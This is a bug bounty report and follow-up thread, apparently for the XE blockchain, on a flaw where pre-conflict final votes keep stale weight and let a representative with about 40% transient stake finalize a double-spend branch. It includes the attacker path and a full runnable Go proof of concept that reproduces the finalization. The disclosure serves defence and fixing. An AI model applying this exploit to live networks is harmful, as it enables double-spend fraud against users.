Bounty
XE-0070 · Bounty

[High] Pre-conflict FINAL votes are counted at stale receipt-time weight against the conflict snapshot total

Accepted claimed High xe#95 filed 2026-10-27 05:54 UTC by CoderMisaki

Report

[High] Pre-conflict FINAL votes are counted at stale receipt-time weight against the conflict snapshot total

Suggested severity tier: High (10,000 XE, per the test.network bounty table) CWE: CWE-863 (Incorrect Authorization — finality authorized on stale weight); secondary CWE-754 CVSS 3.1: 5.9 Medium — CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L (CVSS understates quorum-bar bypasses: the tier reflects the violated safety property — finality without current quorum — not the CVSS number.) Repo pin: xeprotocol/xe master @ 9787859, core/vote.go, core/quorum.go, core/ledger.go Status: Confirmed by runnable local PoC below. Not a duplicate of any open issue checked (see Duplication check).

Summary

A representative's FINAL vote is accepted and stored even when no conflict exists for that position, and it is stamped with the representative's LIVE weight at receipt time. When the conflict is later created, the ledger snapshots weights — but stored votes are never re-weighted, and finalTally never revalidates them. So a representative can final-vote a branch while holding large weight, shed ALL of that weight, and still single-handedly clear the 67% bar, because the bar is measured against the shrunken snapshot total while the numerator still carries the old weight. The finalized branch can therefore be one that NO current weight-holder voted for.

The attacker never needs 67% at any moment. The break-even is ~40.1% of the pre-shed total: stale vote W finalizes iff W >= 0.67 x (T - W), i.e. W >= 0.4012 x T (plus any honest final votes for the same branch lower the requirement further).

Impact (measured, not narrated)

PoC numbers (micro-XE units; genesis rep holds 42e12 on every node):

Step State
Setup repA = 100e12, repB = 40e12, genesis = 42e12, total = 182e12
(1) Pre-conflict FINAL vote for v2 by repA Stored at weight 100e12 = 54.9% of live total -> does NOT finalize (correct)
(2) Shed: repA's delegator sends its whole balance away repA current weight = 0, live total = 82e12
(3) Fork publishes: v1 on chain, v2 staged + conflict Snapshot total = 81e12 (repA absent; victim's v1 spend drops repB 40 -> 39e12)
(4) Tally (the 15 s stale-conflict sweep path) v2 FINALIZED; final height = 2; canonical chain becomes [seed, v2]
Control Same rep voting AFTER a conflict exists is rejected ("representative has zero vote weight") and not stored

Concretely: an attacker controlling a forked account and ~40%+ transient delegated weight can pick the winning branch of a double-spend (same funds sent to two destinations in v1/v2) and have their preferred branch finalized after shedding every unit of weight — i.e. finality authorized by weight the voter no longer holds. If receivers treat "finalized" as settlement (docs: spendable counts only finalized, "irreversible" funds), the losing branch's spend is simultaneously spendable elsewhere on nodes that finalized v1 first, and the winning branch is irreversible network-wide once the sweep tallies it.

Root cause (file:line, master @ 9787859)

  1. core/vote.go ReceiveVote / receiveVoteInner: no requirement that a conflict exist, and no requirement that the voted block exist. A validly signed, fresh, positive-weight FINAL vote is stored unconditionally (the isConflictNotFound branch only applies when validation ALREADY failed, i.e. it gates buffering, not storage).
  2. core/vote.go:144-145 receiveVoteInner: when no conflict record exists, v.Weight is overwritten with the LIVE weight (GetVoteWeight(v.RepAccount())). There is no "provisional" marking.
  3. core/ledger.go conflict branch (isNew): the snapshot (WeightSnapshot, TotalWeight) is written onto the conflict record only. No stored vote is ever re-weighted to the snapshot.
  4. core/quorum.go finalTally: sums STORED v.Weight for final votes against the SNAPSHOT TotalWeight, with no timestamp recheck and no weight refresh. Numerator and denominator come from different moments.
  5. core/quorum.go sweepStaleConflicts (15 s ticker) guarantees a tally runs even if no further vote ever arrives, so the attacker does not need to trigger the tally themselves.

Attacker-first path (all attacker-reachable)

  1. Attacker holds rep key A and delegator accounts transiently delegating ~40%+ of total weight to A (own funds; delegation is a normal block field).
  2. Attacker owns (or colludes with the owner of) victim account V and signs two conflicting sends v1, v2 off-line, so v2's hash is known before publication. (Fork blocks must be owner-signed — that is the fork-account precondition, stated plainly.)
  3. Attacker gossips a FINAL vote for v2 (topic xe/votes; the gossip validator checks only hex format, 64-byte signature, and ed25519 validity — net/gossip_validate.go:100-120). The victim node stores it at live weight. No conflict exists yet, so nothing looks anomalous.
  4. Attacker's delegators send their balances away (weight tracks XE balance, core/ledger.go:updateDelegation). Rep A's current weight becomes 0. Total delegated weight shrinks accordingly.
  5. Attacker publishes v1, then v2. v2 stages, the conflict record snapshots the shrunken total (A absent).
  6. Any node's next tally (next vote, or the 15 s sweep) finalizes v2 on the stale vote alone. No current weight-holder voted for v2.

Preconditions (honest, not minimized)

  • Attacker-controlled fork account (fork blocks are owner-signed).
  • ~40.1%+ TRANSIENT delegated weight at pre-vote time (less if honest reps also final-vote the same branch). This is substantial stake, but strictly less than the 67% the protocol claims is necessary, and the stake is transient — it can be withdrawn/moved immediately after the pre-vote.
  • The pre-vote must be gossiped while the rep still holds weight and within the 5-minute vote window at receipt; after receipt it counts indefinitely (no tally-time expiry).

Why this is not the already-reported findings

  • NOT #42 (pickWinner substitution): no substitution happens here. The 67% winner IS v2, and v2 passes full promotion validation (staged send, valid balances). The defect is the numerator/denominator time mismatch, not the choice of winner.
  • NOT #8 (vote malleability / stale prelim replay): no case variants, no prelim votes, no timestamp games on stored votes. The vote is a genuine, fresh, correctly signed FINAL vote by the real rep.
  • NOT #46 (vote-gossip channel fill): no flooding; one vote suffices.

Duplication check

  • GitHub open-issue search for "snapshot", "stale vote", "final height": no issue states pre-conflict vote stamping vs snapshot totals.
  • Issue #61 is a private disclosure (titles only); neither title matches this mechanism, but its contents are uncheckable — flagged here as a residual duplication caveat.
  • The UN-HEALABLE FORK code log concerns divergent sibling finalization generally and does not state this mechanism.

Suggested fix (for the vendor, not applied)

  • On conflict creation, re-weight ALL stored votes for that position to the snapshot (and drop votes from reps absent from the snapshot, i.e. weight 0), OR reject/ignore votes received before the conflict record exists for final-tally purposes (count only votes received at/after snapshot time, or re-stamp them at snapshot time).
  • Additionally, revalidate vote freshness at tally time (or expire stored votes), so a vote cannot count indefinitely after its 5-minute window.

Honest caveats

  • PoC runs in-process with MemStore; production nodes use Badger. The flawed logic is store-agnostic (Badger replaces per rep key identically, and the PoC uses only lowercase hex, so it does not rely on the MemStore case-sensitivity issue in #8).
  • Funding in the PoC uses core.SeedAssetForTesting, the ledger's own test-only funding entry point, standing in for legitimately held balance + delegation (reachable on a live network via normal sends/receives). Every vote, block, conflict, and tally transition uses production code paths.
  • Not tested against public testnet nodes (local analysis only).
  • XE tier High (not Severe/Critical) reflects the ~40% transient-stake + fork-account preconditions; the safety property violated (finality without current quorum) is what lifts it above the CVSS 5.9.

Reproduction (numbered)

  1. Save the two files below in one directory with the go.mod below (module lanebpoc, replace github.com/xeprotocol/xe => <path to your checkout of xeprotocol/xe>).
  2. export GOFLAGS=-mod=mod GOPROXY=off (Go >= 1.25).
  3. go test -count=1 -v -run TestC1_StalePreConflictFinalVote .
  4. Expected: PASS, with log lines showing setup total 182e12, stored pre-vote 100e12, post-shed repA weight 0, snapshot total 81e12 with repA absent, "v2 FINALIZED", and the control rejection of the post-conflict zero-weight vote.

Full runnable PoC

// ---- go.mod ----
module lanebpoc

go 1.25.0

require github.com/xeprotocol/xe v0.0.0

require (
	github.com/cespare/xxhash/v2 v2.3.0 // indirect
	github.com/decred/dcrd/dcrec/secp256k1/v4 v4.4.0 // indirect
	github.com/dgraph-io/badger/v4 v4.9.1 // indirect
	github.com/dgraph-io/ristretto/v2 v2.2.0 // indirect
	github.com/dustin/go-humanize v1.0.1 // indirect
	github.com/go-logr/logr v1.4.3 // indirect
	github.com/go-logr/stdr v1.2.2 // indirect
	github.com/google/flatbuffers v25.2.10+incompatible // indirect
	github.com/ipfs/go-cid v0.6.0 // indirect
	github.com/klauspost/compress v1.18.0 // indirect
	github.com/klauspost/cpuid/v2 v2.3.0 // indirect
	github.com/libp2p/go-buffer-pool v0.1.0 // indirect
	github.com/libp2p/go-libp2p v0.47.0 // indirect
	github.com/mr-tron/base58 v1.2.0 // indirect
	github.com/multiformats/go-base32 v0.1.0 // indirect
	github.com/multiformats/go-base36 v0.2.0 // indirect
	github.com/multiformats/go-multiaddr v0.16.1 // indirect
	github.com/multiformats/go-multibase v0.2.0 // indirect
	github.com/multiformats/go-multicodec v0.10.0 // indirect
	github.com/multiformats/go-multihash v0.2.3 // indirect
	github.com/multiformats/go-multistream v0.6.1 // indirect
	github.com/multiformats/go-varint v0.1.0 // indirect
	github.com/spaolacci/murmur3 v1.1.0 // indirect
	go.opentelemetry.io/auto/sdk v1.2.1 // indirect
	go.opentelemetry.io/otel v1.40.0 // indirect
	go.opentelemetry.io/otel/metric v1.40.0 // indirect
	go.opentelemetry.io/otel/trace v1.40.0 // indirect
	golang.org/x/crypto v0.47.0 // indirect
	golang.org/x/exp v0.0.0-20260112195511-716be5621a96 // indirect
	golang.org/x/net v0.49.0 // indirect
	golang.org/x/sys v0.42.0 // indirect
	golang.org/x/text v0.33.0 // indirect
	google.golang.org/protobuf v1.36.11 // indirect
	lukechampine.com/blake3 v1.4.1 // indirect
)

replace github.com/xeprotocol/xe => ../../../xe-repo
// ---- harness_test.go ----
// Package lanebpoc_test holds the Lane B (consensus/finality/voting) PoCs for XE.
//
// The helpers below use only the ledger's own exported entry points.
// Funding uses core.SeedAssetForTesting, the ledger's own test-only funding
// entry point (NOT reachable from gossip or the API); every vote, block and
// conflict transition under test goes through the production paths
// (VoteManager.ReceiveVote, Ledger.AddBlock, QuorumManager.Retally).
// Vote signing replicates the public wire format from core/encoding.go
// (version byte 0x02 || rep || blockHash || account || prev || timestampBE
// || finalByte), exactly as an independent peer implementation would.
package lanebpoc_test

import (
	"bytes"
	"crypto/ed25519"
	"encoding/binary"
	"encoding/hex"
	"fmt"
	"testing"

	"github.com/xeprotocol/xe/core"
	"github.com/xeprotocol/xe/store"
)

type node struct {
	l  *core.Ledger
	ms *store.MemStore
	vm *core.VoteManager
	qm *core.QuorumManager
}

func newNode(t *testing.T) *node {
	t.Helper()
	core.SetNetworkID("")
	ms := store.NewMemStore()
	l := core.NewLedger(ms, core.LedgerConfig{Difficulty: 0, TimestampWindow: 0})
	vm := core.NewVoteManager(ms, nil, l)
	qm := core.NewQuorumManager(ms, ms, ms, l)
	vm.SetQuorumManager(qm)
	return &node{l: l, ms: ms, vm: vm, qm: qm}
}

func mustKey(t *testing.T) *core.KeyPair {
	t.Helper()
	kp, err := core.GenerateKeyPair()
	if err != nil {
		t.Fatalf("keygen: %v", err)
	}
	return kp
}

// fund opens a new account with a signed mint block (test-only funding) and
// delegates its whole XE balance to repAddr. fundAt pins the timestamp so
// identical funding on two nodes yields identical block hashes.
func fund(t *testing.T, l *core.Ledger, kp *core.KeyPair, amount uint64, repAddr string) *core.Block {
	t.Helper()
	return fundAt(t, l, kp, amount, repAddr, core.Now().UnixNano())
}

func fundAt(t *testing.T, l *core.Ledger, kp *core.KeyPair, amount uint64, repAddr string, ts int64) *core.Block {
	t.Helper()
	b := &core.Block{
		Type:           core.BlockMint,
		Account:        kp.Address(),
		Previous:       "0",
		Balance:        amount,
		Amount:         amount,
		Timestamp:      ts,
		Asset:          "XE",
		PubKey:         kp.PubKeyHex(),
		Representative: repAddr,
	}
	if err := core.SignBlock(b, kp); err != nil {
		t.Fatalf("fund sign: %v", err)
	}
	if err := l.SeedAssetForTesting(b); err != nil {
		t.Fatalf("fund %s: %v", kp.Address()[:12], err)
	}
	return b
}

func signSend(t *testing.T, kp *core.KeyPair, previous string, balance, amount uint64, dest string, ts int64) *core.Block {
	t.Helper()
	b := &core.Block{
		Type:        core.BlockSend,
		Account:     kp.Address(),
		Previous:    previous,
		Balance:     balance,
		Amount:      amount,
		Timestamp:   ts,
		Asset:       "XE",
		Destination: dest,
	}
	if err := core.SignBlock(b, kp); err != nil {
		t.Fatalf("send sign: %v", err)
	}
	return b
}

// signVote builds a signed vote exactly per the public wire format.
func signVote(t *testing.T, repKp *core.KeyPair, blockHash, account, prev string, final bool) *core.Vote {
	t.Helper()
	rep, err := hex.DecodeString(repKp.PubKeyHex())
	if err != nil || len(rep) != 32 {
		t.Fatalf("rep decode: %v", err)
	}
	bh, err := hex.DecodeString(blockHash)
	if err != nil || len(bh) != 32 {
		t.Fatalf("blockhash decode: %v", err)
	}
	acc, err := hex.DecodeString(account)
	if err != nil || len(acc) != 32 {
		t.Fatalf("account decode: %v", err)
	}
	var pv []byte
	if prev == "0" {
		pv = make([]byte, 32)
	} else {
		pv, err = hex.DecodeString(prev)
		if err != nil || len(pv) != 32 {
			t.Fatalf("prev decode: %v", err)
		}
	}
	v := &core.Vote{
		RepPubKey:       repKp.PubKeyHex(),
		BlockHash:       blockHash,
		ConflictAccount: account,
		ConflictPrev:    prev,
		Timestamp:       core.Now().UnixNano(),
		Final:           final,
	}
	var buf bytes.Buffer
	buf.WriteByte(0x02)
	buf.Write(rep)
	buf.Write(bh)
	buf.Write(acc)
	buf.Write(pv)
	var ts [8]byte
	binary.BigEndian.PutUint64(ts[:], uint64(v.Timestamp))
	buf.Write(ts[:])
	if final {
		buf.WriteByte(1)
	} else {
		buf.WriteByte(0)
	}
	v.Signature = ed25519.Sign(repKp.Private, buf.Bytes())
	return v
}

func recvFinal(t *testing.T, n *node, repKp *core.KeyPair, blockHash, account, prev string) {
	t.Helper()
	if err := n.vm.ReceiveVote(signVote(t, repKp, blockHash, account, prev, true)); err != nil {
		t.Fatalf("ReceiveVote final %s: %v", blockHash[:12], err)
	}
}

func weight(t *testing.T, l *core.Ledger, addr string) uint64 {
	t.Helper()
	w := l.GetVoteWeight(addr)
	if !w.IsUint64() {
		t.Fatalf("weight %s does not fit uint64: %s", addr[:12], w.String())
	}
	return w.Uint64()
}

func mustChain(t *testing.T, l *core.Ledger, account string) []*core.Block {
	t.Helper()
	ch := l.GetChain(account)
	if ch == nil {
		t.Fatalf("no chain for %s", account[:12])
	}
	return ch
}

func fmtXE(u uint64) string { return fmt.Sprintf("%d", u) }
// ---- C1 test ----
func TestC1_StalePreConflictFinalVote(t *testing.T) {
	n := newNode(t)
	l, ms, vm, qm := n.l, n.ms, n.vm, n.qm

	repA, repB := mustKey(t), mustKey(t)
	addrA, addrB := repA.Address(), repB.Address()
	dA := mustKey(t) // attacker delegator
	dB := mustKey(t) // honest delegator
	v := mustKey(t)  // victim/fork account (colluding or attacker-owned)
	sink := mustKey(t)

	seedDA := fund(t, l, dA, 100_000_000_000_000, addrA)
	fund(t, l, dB, 30_000_000_000_000, addrB)
	seedV := fund(t, l, v, 10_000_000_000_000, addrB)
	ts := core.Now().UnixNano() + 1_000_000

	if got := weight(t, l, addrA); got != 100_000_000_000_000 {
		t.Fatalf("setup: repA weight = %s, want 100e12", fmtXE(got))
	}
	total0 := l.GetTotalDelegatedWeight()
	t.Logf("setup: total=%s A=%s B=%s", total0.String(), fmtXE(weight(t, l, addrA)), fmtXE(weight(t, l, addrB)))

	// The two conflicting sends. V2 is signed offline now, so its hash is
	// known BEFORE either block is published (the attacker pre-vote).
	v1 := signSend(t, v, seedV.Hash, 9_000_000_000_000, 1_000_000_000_000, mustKey(t).Address(), ts)
	v2 := signSend(t, v, seedV.Hash, 9_000_000_000_000, 1_000_000_000_000, mustKey(t).Address(), ts)
	if v1.Hash == v2.Hash {
		t.Fatalf("setup: fork hashes collided")
	}

	// (1) PRE-CONFLICT final vote from repA for v2. No conflict exists yet.
	if err := vm.ReceiveVote(signVote(t, repA, v2.Hash, v.Address(), seedV.Hash, true)); err != nil {
		t.Fatalf("pre-conflict ReceiveVote: %v", err)
	}
	stored, err := ms.GetVote(v.Address(), seedV.Hash, repA.PubKeyHex())
	if err != nil || stored == nil {
		t.Fatalf("pre-conflict vote was not stored: %v", err)
	}
	if stored.Weight != 100_000_000_000_000 || !stored.Final {
		t.Fatalf("stored pre-vote: weight=%d final=%v, want 100e12/true", stored.Weight, stored.Final)
	}
	if l.IsFinalized(v.Address(), v2.Hash) {
		t.Fatalf("v2 finalized before conflict even exists")
	}
	t.Logf("step1: pre-conflict final vote stored at live weight %s (54.9%% of live total, no finalize)", fmtXE(stored.Weight))

	// (2) SHED: dA sends its entire balance away. Weight tracks XE balance.
	shed := signSend(t, dA, seedDA.Hash, 0, 100_000_000_000_000, sink.Address(), ts)
	if err := l.AddBlock(shed); err != nil {
		t.Fatalf("shed send: %v", err)
	}
	if got := weight(t, l, addrA); got != 0 {
		t.Fatalf("after shed: repA weight = %s, want 0", fmtXE(got))
	}
	t.Logf("step2: repA current weight is now 0, live total=%s", l.GetTotalDelegatedWeight().String())

	// (3) FORK publishes: v1 on chain, v2 staged + conflict record.
	if err := l.AddBlock(v1); err != nil {
		t.Fatalf("add v1: %v", err)
	}
	if err := l.AddBlock(v2); err != nil {
		t.Fatalf("add v2 (conflict): %v", err)
	}
	c := l.GetConflict(v.Address(), seedV.Hash)
	if c == nil {
		t.Fatalf("no conflict record after v2")
	}
	// 81e12 = genesis 42e12 + repB 39e12 (victim spent 1e12 in v1, which was
	// appended before v2 created the conflict, so B's weight fell 40->39).
	if c.TotalWeight != 81_000_000_000_000 {
		t.Fatalf("snapshot total = %s, want 81e12 (repA excluded)", fmtXE(c.TotalWeight))
	}
	if _, ok := c.WeightSnapshot[addrA]; ok {
		t.Fatalf("snapshot still contains repA")
	}
	if l.GetBlockOrStaged(v2.Hash) == nil {
		t.Fatalf("v2 not staged")
	}
	t.Logf("step3: conflict snapshot total=%s, repA absent from snapshot", fmtXE(c.TotalWeight))

	// Votes on file just before the tally: ONLY the stale repA vote.
	before, _ := ms.GetVotesByConflict(v.Address(), seedV.Hash)
	if len(before) != 1 || before[0].RepPubKey != repA.PubKeyHex() || !before[0].Final {
		t.Fatalf("votes before tally: %d (want exactly the stale repA final vote)", len(before))
	}

	// (4) TALLY (what the 15s stale-conflict sweep does on every node).
	qm.Retally(v.Address(), seedV.Hash)
	if !l.IsFinalized(v.Address(), v2.Hash) {
		t.Fatalf("V2 NOT finalized: stale vote did not clear the bar")
	}
	ch := mustChain(t, l, v.Address())
	if len(ch) < 2 || ch[1].Hash != v2.Hash {
		t.Fatalf("canonical chain after tally: len=%d second=%v, want v2", len(ch), func() string {
			if len(ch) >= 2 {
				return ch[1].Hash[:12]
			}
			return "<none>"
		}())
	}
	if got := l.FinalHeight(v.Address()); got != 2 {
		t.Fatalf("final height = %d, want 2", got)
	}
	t.Logf("RESULT C1: v2 FINALIZED with repA at 0 current weight; 67%% bar cleared by a vote stamped at 100e12 against an 81e12 snapshot total")

	// CONTROL: the same rep voting AFTER a conflict exists is rejected
	// outright (zero live weight), proving the asymmetry is the pre-conflict
	// stamping, not the vote itself.
	w := mustKey(t)
	seedW := fund(t, l, w, 10_000_000_000_000, addrB)
	ts2 := core.Now().UnixNano() + 1_000_000
	w1 := signSend(t, w, seedW.Hash, 9_000_000_000_000, 1_000_000_000_000, mustKey(t).Address(), ts2)
	w2 := signSend(t, w, seedW.Hash, 9_000_000_000_000, 1_000_000_000_000, mustKey(t).Address(), ts2)
	if err := l.AddBlock(w1); err != nil {
		t.Fatalf("control add w1: %v", err)
	}
	if err := l.AddBlock(w2); err != nil {
		t.Fatalf("control add w2: %v", err)
	}
	err = vm.ReceiveVote(signVote(t, repA, w2.Hash, w.Address(), seedW.Hash, true))
	if err == nil {
		t.Fatalf("control: post-conflict zero-weight final vote was ACCEPTED (expected rejection)")
	}
	if got, _ := ms.GetVote(w.Address(), seedW.Hash, repA.PubKeyHex()); got != nil {
		t.Fatalf("control: post-conflict zero-weight vote was stored")
	}
	t.Logf("CONTROL: post-conflict repA final vote rejected (%v); pre-conflict vote kept its 100e12 stamp", err)
}

// TestC2_DescendantFinalizationDivergence — LANE B FINDING B-02.
//
// Mechanism: finality is a per-account HEIGHT watermark (FinalHeight), not a
// per-position hash commitment. QuorumManager.confirmConflict advances the
// watermark to the winner's height, so finalizing an UNCONTESTED descendant
// implicitly finalizes every ancestor — including an ancestor whose own
// position election is still open or resolved differently elsewhere.
// Meanwhile a node that saw the ancestor challenger first finalizes the
// challenger through the normal per-position quorum. Neither node
// double-voted at any single position: the reps' final votes on node 1 are
// for position (v, A4) [uncontested descendant A5], on node 2 for position
// (v, seed) [challenger B4, lowest hash]. Result: two honest nodes finalize
// DIFFERENT blocks at the same (account, previous), and each rejects the
// other's branch forever (the codebase logs this as "UN-HEALABLE FORK").
//
// Preconditions are ordinary, not Byzantine-supermajority: arrival-order
// divergence (node 1 finalizes the descendant before the challenger
// arrives; node 2 sees the challenger first). No rep equivocates at any one
// position, and no weight threshold is violated at any one position.

Reward caveat (from the programme itself)

Rewards are DISCRETIONARY, paid in native XE AT mainnet genesis, contingent on launch (if and when it happens); XE has no guaranteed monetary value. No dollar value is claimed for this report.

Payout address (XE): to be provided upon acceptance — please advise the preferred format.

Thread

Joseph Denneteam2026-11-05 22:12 UTCgithub

Thanks for the reports. To pay out we need an XE payout address in the report itself: please edit the issue body to add a line "Payout address: xe_..." and say here when it is done. The desk entry is https://bounty.xe.network/XE-0070.

CoderMisaki2026-11-05 22:50 UTCgithub

Done — payout address added to the issue body above. Thanks!

Alfonova-Node2026-11-16 23:15 UTCgithub

Status check at HEAD 89a542e (testnet-0005): the fix claimed from PR #107 is not present. PR #107 itself is still open/unmerged on GitHub. At this HEAD, finalTally (core/quorum.go:103) and convergeWeights (core/finalization.go:335) still sum stored v.Weight directly with no WeightSnapshot lookup, OnConflict (core/vote.go:71) does not re-weight stored votes, ValidateVote (core/vote.go:225) has no snapshot-zero rejection, and the regression test core/preconflict_vote_test.go does not exist. Only the incoming-vote snapshot weighting in receiveVoteInner (core/vote.go:144-145) is present, which does not repair already-stored pre-conflict votes. Requesting the ticket stay open until the PR (or an equivalent fix) lands at HEAD.